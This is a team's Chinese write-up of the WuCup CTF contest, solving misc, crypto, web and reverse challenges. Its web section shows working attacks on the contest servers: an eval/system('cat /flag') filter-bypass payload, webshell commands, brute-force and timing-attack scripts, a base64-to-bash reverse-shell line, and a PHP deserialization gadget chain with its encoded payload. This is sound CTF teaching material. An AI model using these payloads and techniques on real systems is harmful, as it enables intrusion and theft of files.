当前位置: 首页 > news >正文

第一届“吾杯”网络安全技能大赛 Writeup

战队信息

战队名称:在你眼中我是誰,你想我代替誰?

战队排名:13

Misc

Sign

Hex 转 Str,即可得到flag。

原神启动!

不好评价,stegsolve 秒了:

在这里插入图片描述

WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a}

结果不是 flag,是压缩包密码。打开docx,拖到后面发现flag:

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传]在这里插入图片描述

把图片删了即可得到flag。

WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}

结果还是假的,令人感动,用zip打开这个docx,发现目录下有个img.zip,尝试解压发现密码不对,再回到docx,把那张被我删了的图片提取出来,StegSolve 秒了x2:

在这里插入图片描述

WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}

再解压,密码对了,里面又是一个加密压缩包,不出意外,密码是那个没用到的假 flag,解压得到真flag:

在这里插入图片描述

太极

根据题目提示,猜测 flag 每节为第i个字拼音的第i个字符拼接而成,编写代码:

from Crypto.Util.number import *
import base64
import pickle
import os   
import sys
# from pwn import xor
import math
import requests
import hashlib
from Crypto.Cipher import AES
import itertools
# from pwn import *a = [['tai','ji','sheng','liang','yi'],['liang','yi','sheng','si','xiang'],['si','xiang','sheng','ba','gua'],['ba','gua','ding','ji','xiong'],['ji','xiong','sheng','da','ye']]print('WuCup{', end = '')
for i in a:jj = 0for j in i:print(j[jj % len(j)], end = '')jj += 1if i != a[-1]:print('-', end = '')print('}')'''
WuCup{tieny-lieig-sieau-bunig-jieay}
'''

Crypto

Easy

一眼S盒+异或,盲猜RC4,cyberchef 秒了。

在这里插入图片描述

Web

HelloHacker

代码审计,可以下载 prohibited.txt 查看过滤哪些词语,刚开始看感觉挺抽象,既要求那几个字符,又过滤那几个字符,属实有点精分了,后来感觉应该是有某个组合没被屏蔽,写代码爆破一下哪个组合没被过滤:

import itertoolswhereisi = __file__[:__file__.rfind('\\')+1]string = 'erozxapvn'with open(whereisi + 'prohibited.txt', 'r') as f:lines = f.readlines()lines = [i.strip() for i in lines]#测试string的所有排列方式,是否在文件中for i in itertools.permutations(string, len(string)):i = ''.join(i)if i not in lines:print(i)break

在这里插入图片描述

得到oxzverapn,之后仔细观察 prohibited.txt 可以发现有个别行里有空格,就说明其实这些符号和函数没被过滤。

在这里插入图片描述

根据没被屏蔽的符号和函数,不难想到构造 payload 如下:

?incompetent=HelloHacker
&WuCup=eval($_POST[0]);#oxzverapn
&0=system("cat /flag");

得到 flag:

在这里插入图片描述

Sign

根据提示,明显是“密码”为sgin的webshell,POST 传参 sgin=system("cat /f*"); 秒了。

在这里插入图片描述

TimeCage

获取秒数,当秒数是0时,必为114,所以一直 ?input=114 等到秒数为0时即可得到key1:Trapping2147483647.php

在这里插入图片描述

来到第二关,需要爆破密码,首先爆破密码长度:

import requestsurl = 'http://challenge.wucup.cn:45328/Trapping2147483647.php'passwd = ''
tables = '0123456789'for i in range(1, 100):r = requests.post(url, data={'pass': '1'*i})if 'Wrong Length!'not in r.text:print("len = ",i)break'''
len =  8
'''

得到密码长度为8位,接下来爆破密码,

在这里插入图片描述

使用“时间盲注”,代码如下:

import requestsurl = 'http://challenge.wucup.cn:45328/Trapping2147483647.php'passwd = '00000000'
tables = '0123456789'for i in range(1, 9):for j in tables:passwd = passwd[:i-1] + j + passwd[i:]r = requests.post(url, data={'pass': passwd})if 'The final' in r.text:print(r.text)exit(0)if r.elapsed.total_seconds() >= i:print("第{}位为{}".format(i, j))break'''
第1位为5
第2位为6
第3位为9
第4位为8
第5位为3
第6位为2
第7位为1
此处省略
</code>The final challenge in EscapeEsc@p3Escape.php
'''

得到第三关地址,是一个无回显RCE,过滤空格以及一些字符,反弹shell即可,空格用 $IFS$9 绕过。

echo$IFS$9'被屏蔽'|base64$IFS$9-d|bash

url编码后POST发过去,得到shell:

在这里插入图片描述

直接 cat /flag 即可:

在这里插入图片描述

ezPHP

nuclei漏扫发现源码泄露漏洞:

在这里插入图片描述

bp 得到源码:

GET /flag.php HTTP/1.1
Host: challenge.wucup.cn:38308GET /Kawakaze HTTP/1.1

在这里插入图片描述

比较清晰的反序列化,根据代码写出poc如下:

<?class a{public $OAO;public $QAQ;public $OVO;public function __toString(){if(!preg_match('/hello/', OVO)){if ($this->OVO === "hello") {// echo "win2<br>";return $this->OAO->QAQ;}	}}public function __invoke(){return $this->OVO;}
}class b{public $pap;public $vqv;public function __get($key){$functioin = $this->pap;return $functioin();}public function __toString(){return $this->vqv;}
}
class c{public $OOO;public function __invoke(){@$_ = $this->OOO;$___ = $_GET;var_dump($___);if (isset($___['h_in.t'])) {unset($___['h_in.t']);}var_dump($___);echo @call_user_func($_, ...$___); }
}
class d{public $UUU;public $uuu;public function __wakeup(){echo $this->UUU;}public function __destruct(){echo $this->UUU;
}
}
// d->a->b->c$a = new d();
$a->UUU = new a();
$a->UUU->OVO = "hello";
$a->UUU->OAO = new b();
$a->UUU->OAO->pap = new c();
$a->UUU->OAO->pap->OOO = "phpinfo";
$a->UUU->QAQ = "wwwwww";echo (urlencode(serialize($a)));
echo '<br>';
?>

由于 $_GET 会将 h_in.t 转换为 h_in_t,当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_。所以将参数名改为 h[in.t,得到 phpinfo,发现一堆过滤函数:

在这里插入图片描述

仔细观察,发现没有过滤 file_get_contents,并且调用函数时会 echo 返回值,直接把上面的代码中的 phpinfo 改为 file_get_contents ,同时传个参,得到 flag:

http://challenge.wucup.cn:38308/flag.php?h[in.t=O%3A1%3A%22d%22%3A2%3A%7Bs%3A3%3A%22UUU%22%3BO%3A1%3A%22a%22%3A3%3A%7Bs%3A3%3A%22OAO%22%3BO%3A1%3A%22b%22%3A2%3A%7Bs%3A3%3A%22pap%22%3BO%3A1%3A%22c%22%3A1%3A%7Bs%3A3%3A%22OOO%22%3Bs%3A17%3A%22file_get_contents%22%3B%7Ds%3A3%3A%22vqv%22%3BN%3B%7Ds%3A3%3A%22QAQ%22%3Bs%3A6%3A%22wwwwww%22%3Bs%3A3%3A%22OVO%22%3Bs%3A5%3A%22hello%22%3B%7Ds%3A3%3A%22uuu%22%3BN%3B%7D
&0=/flag

在这里插入图片描述

Reverse

If you know

有 UPX 壳,命令解压:

upx -d miss

之后拖进 IDA 分析,逻辑比较简单,稍微逆过来写一下就行了,代码如下:

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>using namespace std;
typedef long long LL;
typedef long double DD;LL input_str[] =
{245, 512, 520, 495, 565, 628, 570, 630, 695, 774, 690,787, 738, 815, 881, 1088, 824, 1001, 994, 950, 1031,1086, 954, 1012, 1045, 1139, 1242, 0
};void fcn000002(LL *input_str_chars, int j__2, unsigned int len)
{LL* result;for (int i = len; i > 0; --i ){result = &input_str_chars[i];*result = (i ^ (*result - i - j__2));}
}void fcn000001(LL *input_str_chars, int j__2, unsigned int len)
{LL result;for (int i = 0; ; ++i ){if ( i >= len )break;input_str_chars[i] = (i ^ (input_str_chars[i] - i - j__2));}
}int main()
{int input_str_len = 27;for (int j = input_str_len-1; j >= 0 ; --j ){if ( (j & 1) != 0 )fcn000002(input_str, j + 2, input_str_len);elsefcn000001(input_str, j + 1, input_str_len);}for (int i = 0; i < input_str_len; ++i ){cout << (char)input_str[i];}return 0; //-22 61 13 92
}

在这里插入图片描述

包裹 WuCup{} 即可。

相关文章:

第一届“吾杯”网络安全技能大赛 Writeup

战队信息 战队名称&#xff1a;在你眼中我是誰&#xff0c;你想我代替誰&#xff1f; 战队排名&#xff1a;13 Misc Sign Hex 转 Str&#xff0c;即可得到flag。 原神启动&#xff01; 不好评价&#xff0c;stegsolve 秒了&#xff1a; WuCup{7c16e21c-31c2-439e-a814-b…...

再谈Java中的String类型是否相同的判断方法

目录 第一部分 代码展示 画图展示 第二部分 代码展示 画图展示 第一部分 代码展示 画图展示 第二部分 代码展示 画图展示...

<一>51单片机环境

目录 1,51单片机开发语言是C,环境keil 1.1,工程创建 1.2用什么把代码放进单片机里面 2,初识代码 1,51单片机开发语言是C,环境keil 1.1,工程创建 1. 创建项目工程文件夹&#xff0c;可以当作模板Template 2. 创建文件&#xff0c;取名main.c 3,编译&#xff0c;选择输出文…...

【0x0001】HCI_Set_Event_Mask详解

目录 一、命令概述 二、命令格式 三、命令参数说明 四、返回参数说明 五、命令执行流程 5.1. 主机准备阶段 5.2. 命令发送阶段 5.3. 控制器接收与处理阶段 5.4. 事件过滤与反馈阶段 5.5. 主机处理&#xff08;主机端&#xff09; 5.6. 示例代码 六、命令应用场景 …...

第三方Express 路由和路由中间件

文章目录 1、Express 应用使用回调函数的参数&#xff1a; request 和 response 对象来处理请求和响应的数据。2、Express路由1.路由方法2.路由路径3.路由处理程序 3. 模块化路由4. Express中间件1.中间件简介2.中间件分类3.自定义中间件 1、Express 应用使用回调函数的参数&am…...

七、Python —— 元组、集合和字典

文章目录 一、元组1.1、元组的初始化1.2、元组的解包1.3、元组的比较运算1.4、元组的其他操作 二、集合 set2.1、集合的初始化2.2、集合的常用操作2.3、使用 for 循环遍历集合 三、字典 map3.1、字典的初始化3.2、字典的常用操作3.3、使用 for 循环遍历字典 四、补充 一、元组 …...

Aes加解密

加解密概念 加密AES加密填充模式加密模式示例 加密 通过一系列计算将明文转换成一个密文。 加密和解密的对象通常是字节数组&#xff08;有的语言动态数组类比切片&#xff09; 加密后的数据&#xff0c;可能有很多是不可读字符。通常会将其转换为可见的字符串。 直接将字节…...

【时时三省】Tessy 故障入侵 使用教程

目录 1,故障入侵 介绍 故障入侵适用场景: 打故障入侵的方法和选项介绍: 2,打单个函数的故障入侵 3,打整体用例的故障入侵 4,一个函数打多个故障入侵 山不在高,有仙则名。水不在深,有龙则灵。 ----CSDN 时时三省 1,故障入侵 介绍 故障入侵适用场景: 故障入侵 …...

.NET 9 AOT的突破 - 支持老旧Win7与XP环境

引言 随着技术的不断进步&#xff0c;微软的.NET 框架在每次迭代中都带来了令人惊喜的新特性。在.NET 9 版本中&#xff0c;一个特别引人注目的亮点是 AOT&#xff08; Ahead-of-Time&#xff09;支持&#xff0c;它允许开发人员将应用程序在编译阶段就优化为能够在老旧的 Win…...

CondaValueError: Malformed version string ‘~‘: invalid character(s).

问题描述&#xff1a;在window下使用conda安装任何包都会报错。报错信息是CondaValueError: Malformed version string ~: invalid character(s). 解决办法&#xff1a;把.condarc文件的源地址删除&#xff08;八成是源地址访问不了了&#xff09;&#xff0c;只保存默认的&am…...

01-Ubuntu24.04LTS上安装PGSQL

目录 一、准备工作 1.1、系统要求 1.2 、更新 Ubuntu 系统 1.3 、安装依赖 1.4 、添加 PostgreSQL 16 软件源 二、安装 PostgreSQL 16 数据库 三、管理 PostgreSQL 服务 四、PostgreSQL 管理操作 4.1 、访问 Postgres 超级用户账户 4.2 、创建数据库并设置管理权限 4…...

Esp32使用micropython基于espnow实现语音对讲机

ESP-NOW协议介绍 ESP-NOW 是乐鑫自主研发的无连接通信协议,具有短数据包传输功能。该协议使多个设备能够以简单的方式相互通信。ESP-NOW 支持以下功能: 加密和未加密的单播通信; 混合加密和未加密的对等设备; 最多可携带 250 字节 的有效载荷; 发送回调功能,可以设置用于…...

Docker 容器隔离关键技术:SELinux

Docker 容器隔离关键技术&#xff1a;SELinux SELinux&#xff08;Security-Enhanced Linux&#xff09; 是 Linux 内核中的一项安全机制&#xff0c;用于实现强制访问控制&#xff08;MAC&#xff09;。Docker 利用了 SELinux 来增强容器的隔离性&#xff0c;通过对文件、进程…...

Java并发07之ThreadLocal

文章目录 1 ThreadLocal原理2 内部结构3 内存泄露问题4 entry的key为什么被设计为弱引用 1 ThreadLocal原理 ThreadLocal类用来提供线程内部的局部变量。这种变量在多线程环境下访问时能保证各个线程的变量相对独立于其他线程内的变量。ThreadLocal实例通常来说都是private st…...

【单细胞数据库】癌症单细胞数据库CancerSEA

数据库地址&#xff1a;home (hrbmu.edu.cn) Cite Huating Yuan, Min Yan, Guanxiong Zhang, Wei Liu, Chunyu Deng, Gaoming Liao, Liwen Xu, Tao Luo, Haoteng Yan, Zhilin Long, Aiai Shi, Tingting Zhao, Yun Xiao, Xia Li, CancerSEA: a cancer single-cell state atlas…...

Rsa加解密 + 签名验签

Rsa加解密 概述聚合算法名称&#xff08;用于创建加密器&#xff09;基本概念填充方式分块加密 基本使用生成密钥加解密创建加密器设置模式&#xff08;加密&#xff09;、公钥对明文加密&#xff0c;并对结果进行Base64编码对以上结果&#xff0c;进行解密 设置模式&#xff0…...

bugku-web-留言板1

大小写绕过也不行 <ScRipt>ALeRt(“XSS”);</sCRipT> 双写绕过可以 <scscriptript>alert(z)</scscriptript> 改变大小写 在测试过程中&#xff0c;我们可以改变测试语句的大小写来绕过XSS规则&#xff1a; 比如&#xff1a;<script>alert(“xs…...

进程状态的学习

进程状态就是 task_struct 内的一个整数 状态间是可以进行转化的 运行&#xff1a; 每一个框都是进程的task_struct&#xff0c;都有唯一的pcb和pid来标识它的唯一性 让CPU选择一个进程去运行&#xff0c;本质是选择一个进程的PCB去运行&#xff0c;task_struct里一定有内存指…...

Vue 2.0->3.0学习笔记(Vue 3 (四)- Composition API 的优势)

Vue 2.0-&#xff1e;3.0学习笔记&#xff08;Vue 3 &#xff08;四&#xff09;- Composition API 的优势&#xff09; Composition API 的优势1. Options API 存在的问题2. Composition API 的优势 Composition API 的优势 1. Options API 存在的问题 笔记 使用传统OptionsA…...

close and shutdown?

背景&#xff1a;我们要讲述的是网络编程中常用的两个API&#xff1a; #include <unistd.h> int close(int fd); #include <sys/socket.h> int shutdown(int sockfd, int how); 以及TCP的半连接&#xff0c;半打开。 shutdown函数的行为依赖第二个参数区分&#xf…...

eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)

说明&#xff1a; 想象一下&#xff0c;你正在用eNSP搭建一个虚拟的网络世界&#xff0c;里面有虚拟的路由器、交换机、电脑&#xff08;PC&#xff09;等等。这些设备都在你的电脑里面“运行”&#xff0c;它们之间可以互相通信&#xff0c;就像一个封闭的小王国。 但是&#…...

pam_env.so模块配置解析

在PAM&#xff08;Pluggable Authentication Modules&#xff09;配置中&#xff0c; /etc/pam.d/su 文件相关配置含义如下&#xff1a; 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块&#xff0c;负责验证用户身份&am…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1

每日一言 生活的美好&#xff0c;总是藏在那些你咬牙坚持的日子里。 硬件&#xff1a;OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写&#xff0c;"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...

CMake 从 GitHub 下载第三方库并使用

有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比

目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec&#xff1f; IPsec VPN 5.1 IPsec传输模式&#xff08;Transport Mode&#xff09; 5.2 IPsec隧道模式&#xff08;Tunne…...

dify打造数据可视化图表

一、概述 在日常工作和学习中&#xff0c;我们经常需要和数据打交道。无论是分析报告、项目展示&#xff0c;还是简单的数据洞察&#xff0c;一个清晰直观的图表&#xff0c;往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server&#xff0c;由蚂蚁集团 AntV 团队…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)

目录 一、&#x1f44b;&#x1f3fb;前言 二、&#x1f608;sinx波动的基本原理 三、&#x1f608;波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、&#x1f30a;波动优化…...

代理篇12|深入理解 Vite中的Proxy接口代理配置

在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...

Linux离线(zip方式)安装docker

目录 基础信息操作系统信息docker信息 安装实例安装步骤示例 遇到的问题问题1&#xff1a;修改默认工作路径启动失败问题2 找不到对应组 基础信息 操作系统信息 OS版本&#xff1a;CentOS 7 64位 内核版本&#xff1a;3.10.0 相关命令&#xff1a; uname -rcat /etc/os-rele…...